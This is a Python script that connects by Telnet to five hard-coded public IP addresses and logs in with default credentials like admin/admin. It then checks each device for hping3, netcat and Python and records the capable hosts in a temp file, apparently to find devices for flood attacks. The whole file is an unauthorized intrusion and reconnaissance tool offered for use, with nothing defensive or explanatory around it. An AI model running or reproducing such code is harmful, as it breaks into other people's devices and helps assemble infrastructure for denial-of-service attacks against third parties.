import socket, time

devices = [
    ("103.12.78.114", 23, "admin", "1234"),
    ("103.134.156.37", 23, "admin", "admin"),
    ("101.255.158.242", 23, "admin", "admin"),
    ("103.138.60.243", 23, "admin", "admin"),
    ("103.157.104.175", 23, "admin", "admin"),
]

for ip, port, user, passwd in devices:
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(4)
        s.connect((ip, port))
        time.sleep(0.3)
        data = s.recv(4096).decode(errors="ignore")
        if "login" in data.lower():
            s.send((user+"\r\n").encode())
            time.sleep(0.3)
            data = s.recv(4096).decode(errors="ignore")
        if "password" in data.lower():
            s.send((passwd+"\r\n").encode())
            time.sleep(0.8)
            data = s.recv(4096).decode(errors="ignore")
        try: s.recv(65536)
        except: pass

        # Check tools
        for cmd in ["which hping3 2>/dev/null && echo HPING3_OK",
                     "which nc 2>/dev/null && echo NC_OK",
                     "which ncat 2>/dev/null && echo NCAT_OK",
                     "which python 2>/dev/null && echo PYTHON_OK",
                     "which python3 2>/dev/null && echo PYTHON3_OK"]:
            s.send((cmd + "\r\n").encode())
            time.sleep(0.3)
            r = s.recv(4096).decode(errors="ignore")
            if "_OK" in r:
                open("/tmp/_l4_quick.txt","a").write(ip + ": " + cmd.split()[1] + "\n")
        s.close()
    except:
        pass
